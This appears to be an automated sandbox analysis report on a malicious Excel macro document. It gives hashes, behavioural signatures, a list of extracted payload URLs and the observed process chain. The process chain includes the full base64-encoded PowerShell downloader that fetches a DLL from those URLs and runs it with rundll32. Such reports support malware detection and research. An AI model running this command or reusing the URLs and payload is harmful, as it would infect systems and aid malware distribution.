Analysis
-
max time kernel
61s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-11-2024 00:28
General
-
Target
5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca.xls
-
Size
144KB
-
MD5
0fbc6c107087ed9cd9e3fe4ee3ca0546
-
SHA1
38a3275b96c5ad0e6062580eac6ac16ba173785a
-
SHA256
5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca
-
SHA512
a2da6df30aaa0c3dd846ddc65827f6d3ca9e6d23b7b10e41cf2b53ce99f96636187da3ac6796030be810608b34b93c995c8e9d919d8d0e5f2fde3b3764d15c08
-
SSDEEP
3072:E7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIfGxX:2cKoSsxzNDZLDZjlbR868O8K0c03D387
Malware Config
Extracted
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
http://bimesarayenovin.ir/wp-admin/z464/
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
http://gardeningfilm.com/wp-content/Ef/
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
https://100lamp.com.ua:443/sale/a/
http://queenofluv.com/uemsub/peLSdHCvfhkge/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\uylcsekn.bat" "2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5b3e87e4fda09592bebf3522c319e8b79
SHA1dc061034bbcc3a397e046b5e512ed0235a397fac
SHA256d47ce3fd5ecb89f6a9ab9c71b1541f27236da06a39732efdee85cbaf093a8246
SHA5129b1576eea10d6d70fc8e33bf3df994ae0d02ae6c963c6baa270f095ced7240aae85501a92c9e7f0f6b25d65f356deff4aa644d6073d39d455d15d864e12e7477
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB